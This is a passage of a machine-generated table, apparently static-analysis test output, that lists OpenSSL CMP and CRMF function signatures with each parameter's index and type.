OSSL_CMP_CTX_set1_issuer | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_issuer | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_recipient | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_recipient | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_subjectName | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_subjectName | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_REQ *) | | OSSL_CMP_CTX_set1_p10CSR | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_REQ *) | | OSSL_CMP_CTX_set1_p10CSR | 1 | const X509_REQ * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | const char * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | const char * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | const char * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | const char * | +| (OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_genp_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_genp_new | 1 | const stack_st_OSSL_CMP_ITAV * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 1 | const unsigned char * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | int | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 1 | const unsigned char * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | int | +| (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | int | +| (OSSL_CMP_CTX *,int,EVP_PKEY *) | | OSSL_CMP_CTX_set0_newPkey | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,EVP_PKEY *) | | OSSL_CMP_CTX_set0_newPkey | 1 | int | +| (OSSL_CMP_CTX *,int,EVP_PKEY *) | | OSSL_CMP_CTX_set0_newPkey | 2 | EVP_PKEY * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | OSSL_CMP_exec_certreq | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | OSSL_CMP_exec_certreq | 1 | int | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | OSSL_CMP_exec_certreq | 2 | const OSSL_CRMF_MSG * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | ossl_cmp_certreq_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | ossl_cmp_certreq_new | 1 | int | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | ossl_cmp_certreq_new | 2 | const OSSL_CRMF_MSG * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 1 | int | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 2 | const OSSL_CRMF_MSG * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 3 | int * | +| (OSSL_CMP_CTX *,int,int64_t) | | ossl_cmp_pollRep_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int64_t) | | ossl_cmp_pollRep_new | 1 | int | +| (OSSL_CMP_CTX *,int,int64_t) | | ossl_cmp_pollRep_new | 2 | int64_t | +| (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 1 | int | +| (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | int | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 1 | int | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 2 | int | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 3 | const OSSL_CMP_PKISI * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 4 | X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 5 | const EVP_PKEY * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 6 | const X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 7 | stack_st_X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 8 | stack_st_X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 9 | int | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 1 | int | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 2 | int | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 3 | const char * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_extraCertsOut | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_extraCertsOut | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_untrusted | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_untrusted | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_caPubs | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_caPubs | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_extraCertsIn | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_extraCertsIn | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_newChain | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_newChain | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 **) | | OSSL_CMP_get1_caCerts | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 **) | | OSSL_CMP_get1_caCerts | 1 | stack_st_X509 ** | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_certConf_cb_arg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_certConf_cb_arg | 1 | void * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_http_cb_arg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_http_cb_arg | 1 | void * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_transfer_cb_arg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_transfer_cb_arg | 1 | void * | +| (OSSL_CMP_ERRORMSGCONTENT *) | | OSSL_CMP_ERRORMSGCONTENT_free | 0 | OSSL_CMP_ERRORMSGCONTENT * | +| (OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_ERRORMSGCONTENT | 0 | OSSL_CMP_ERRORMSGCONTENT ** | +| (OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_ERRORMSGCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_ERRORMSGCONTENT | 2 | long | +| (OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_free | 0 | OSSL_CMP_ITAV * | +| (OSSL_CMP_ITAV **,const unsigned char **,long) | | d2i_OSSL_CMP_ITAV | 0 | OSSL_CMP_ITAV ** | +| (OSSL_CMP_ITAV **,const unsigned char **,long) | | d2i_OSSL_CMP_ITAV | 1 | const unsigned char ** | +| (OSSL_CMP_ITAV **,const unsigned char **,long) | | d2i_OSSL_CMP_ITAV | 2 | long | +| (OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_set0 | 0 | OSSL_CMP_ITAV * | +| (OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_set0 | 1 | ASN1_OBJECT * | +| (OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_set0 | 2 | ASN1_TYPE * | +| (OSSL_CMP_KEYRECREPCONTENT *) | | OSSL_CMP_KEYRECREPCONTENT_free | 0 | OSSL_CMP_KEYRECREPCONTENT * | +| (OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_KEYRECREPCONTENT | 0 | OSSL_CMP_KEYRECREPCONTENT ** | +| (OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_KEYRECREPCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_KEYRECREPCONTENT | 2 | long | +| (OSSL_CMP_MSG *) | | OSSL_CMP_MSG_free | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG **,const unsigned char **,long) | | d2i_OSSL_CMP_MSG | 0 | OSSL_CMP_MSG ** | +| (OSSL_CMP_MSG **,const unsigned char **,long) | | d2i_OSSL_CMP_MSG | 1 | const unsigned char ** | +| (OSSL_CMP_MSG **,const unsigned char **,long) | | d2i_OSSL_CMP_MSG | 2 | long | +| (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 1 | OSSL_LIB_CTX * | +| (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 2 | const char * | +| (OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_msg_gen_push1_ITAVs | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_msg_gen_push1_ITAVs | 1 | const stack_st_OSSL_CMP_ITAV * | +| (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | int | +| (OSSL_CMP_PKIBODY *) | | OSSL_CMP_PKIBODY_free | 0 | OSSL_CMP_PKIBODY * | +| (OSSL_CMP_PKIBODY **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIBODY | 0 | OSSL_CMP_PKIBODY ** | +| (OSSL_CMP_PKIBODY **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIBODY | 1 | const unsigned char ** | +| (OSSL_CMP_PKIBODY **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIBODY | 2 | long | +| (OSSL_CMP_PKIHEADER *) | | OSSL_CMP_PKIHEADER_free | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_update_messageTime | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIHEADER | 0 | OSSL_CMP_PKIHEADER ** | +| (OSSL_CMP_PKIHEADER **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIHEADER | 1 | const unsigned char ** | +| (OSSL_CMP_PKIHEADER **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIHEADER | 2 | long | +| (OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *) | | ossl_cmp_hdr_push0_freeText | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *) | | ossl_cmp_hdr_push0_freeText | 1 | ASN1_UTF8STRING * | +| (OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push0_item | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push0_item | 1 | OSSL_CMP_ITAV * | +| (OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *) | | ossl_cmp_hdr_set1_senderKID | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *) | | ossl_cmp_hdr_set1_senderKID | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_recipient | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_recipient | 1 | const X509_NAME * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_sender | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_sender | 1 | const X509_NAME * | +| (OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push1_items | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push1_items | 1 | const stack_st_OSSL_CMP_ITAV * | +| (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | int | +| (OSSL_CMP_PKISI *) | | OSSL_CMP_PKISI_free | 0 | OSSL_CMP_PKISI * | +| (OSSL_CMP_PKISI **,const unsigned char **,long) | | d2i_OSSL_CMP_PKISI | 0 | OSSL_CMP_PKISI ** | +| (OSSL_CMP_PKISI **,const unsigned char **,long) | | d2i_OSSL_CMP_PKISI | 1 | const unsigned char ** | +| (OSSL_CMP_PKISI **,const unsigned char **,long) | | d2i_OSSL_CMP_PKISI | 2 | long | +| (OSSL_CMP_POLLREP *) | | OSSL_CMP_POLLREP_free | 0 | OSSL_CMP_POLLREP * | +| (OSSL_CMP_POLLREP **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREP | 0 | OSSL_CMP_POLLREP ** | +| (OSSL_CMP_POLLREP **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREP | 1 | const unsigned char ** | +| (OSSL_CMP_POLLREP **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREP | 2 | long | +| (OSSL_CMP_POLLREQ *) | | OSSL_CMP_POLLREQ_free | 0 | OSSL_CMP_POLLREQ * | +| (OSSL_CMP_POLLREQ **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREQ | 0 | OSSL_CMP_POLLREQ ** | +| (OSSL_CMP_POLLREQ **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREQ | 1 | const unsigned char ** | +| (OSSL_CMP_POLLREQ **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREQ | 2 | long | +| (OSSL_CMP_PROTECTEDPART *) | | OSSL_CMP_PROTECTEDPART_free | 0 | OSSL_CMP_PROTECTEDPART * | +| (OSSL_CMP_PROTECTEDPART **,const unsigned char **,long) | | d2i_OSSL_CMP_PROTECTEDPART | 0 | OSSL_CMP_PROTECTEDPART ** | +| (OSSL_CMP_PROTECTEDPART **,const unsigned char **,long) | | d2i_OSSL_CMP_PROTECTEDPART | 1 | const unsigned char ** | +| (OSSL_CMP_PROTECTEDPART **,const unsigned char **,long) | | d2i_OSSL_CMP_PROTECTEDPART | 2 | long | +| (OSSL_CMP_REVANNCONTENT *) | | OSSL_CMP_REVANNCONTENT_free | 0 | OSSL_CMP_REVANNCONTENT * | +| (OSSL_CMP_REVANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVANNCONTENT | 0 | OSSL_CMP_REVANNCONTENT ** | +| (OSSL_CMP_REVANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVANNCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_REVANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVANNCONTENT | 2 | long | +| (OSSL_CMP_REVDETAILS *) | | OSSL_CMP_REVDETAILS_free | 0 | OSSL_CMP_REVDETAILS * | +| (OSSL_CMP_REVDETAILS **,const unsigned char **,long) | | d2i_OSSL_CMP_REVDETAILS | 0 | OSSL_CMP_REVDETAILS ** | +| (OSSL_CMP_REVDETAILS **,const unsigned char **,long) | | d2i_OSSL_CMP_REVDETAILS | 1 | const unsigned char ** | +| (OSSL_CMP_REVDETAILS **,const unsigned char **,long) | | d2i_OSSL_CMP_REVDETAILS | 2 | long | +| (OSSL_CMP_REVREPCONTENT *) | | OSSL_CMP_REVREPCONTENT_free | 0 | OSSL_CMP_REVREPCONTENT * | +| (OSSL_CMP_REVREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVREPCONTENT | 0 | OSSL_CMP_REVREPCONTENT ** | +| (OSSL_CMP_REVREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVREPCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_REVREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVREPCONTENT | 2 | long | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 0 | OSSL_CMP_REVREPCONTENT * | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | int | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 0 | OSSL_CMP_REVREPCONTENT * | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | int | +| (OSSL_CMP_ROOTCAKEYUPDATE *) | | OSSL_CMP_ROOTCAKEYUPDATE_free | 0 | OSSL_CMP_ROOTCAKEYUPDATE * | +| (OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long) | | d2i_OSSL_CMP_ROOTCAKEYUPDATE | 0 | OSSL_CMP_ROOTCAKEYUPDATE ** | +| (OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long) | | d2i_OSSL_CMP_ROOTCAKEYUPDATE | 1 | const unsigned char ** | +| (OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long) | | d2i_OSSL_CMP_ROOTCAKEYUPDATE | 2 | long | +| (OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t) | | OSSL_CMP_SRV_CTX_init_trans | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t) | | OSSL_CMP_SRV_CTX_init_trans | 1 | OSSL_CMP_SRV_delayed_delivery_cb_t | +| (OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t) | | OSSL_CMP_SRV_CTX_init_trans | 2 | OSSL_CMP_SRV_clean_transaction_cb_t | +| (OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_SRV_process_request | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_SRV_process_request | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | int | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | int | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | int | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | int | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_caPubsOut | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_caPubsOut | 1 | stack_st_X509 * | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_chainOut | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_chainOut | 1 | stack_st_X509 * | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 1 | void * | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 2 | OSSL_CMP_SRV_cert_request_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 3 | OSSL_CMP_SRV_rr_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 4 | OSSL_CMP_SRV_genm_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 5 | OSSL_CMP_SRV_error_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 6 | OSSL_CMP_SRV_certConf_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 7 | OSSL_CMP_SRV_pollReq_cb_t | +| (OSSL_CORE_BIO *,const char *,va_list) | | ossl_core_bio_vprintf | 0 | OSSL_CORE_BIO * | +| (OSSL_CORE_BIO *,const char *,va_list) | | ossl_core_bio_vprintf | 1 | const char * | +| (OSSL_CORE_BIO *,const char *,va_list) | | ossl_core_bio_vprintf | 2 | va_list | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 0 | OSSL_CORE_BIO * | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 1 | void * | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 2 | size_t | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 3 | size_t * | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE *) | | OSSL_CRMF_ATTRIBUTETYPEANDVALUE_free | 0 | OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 0 | 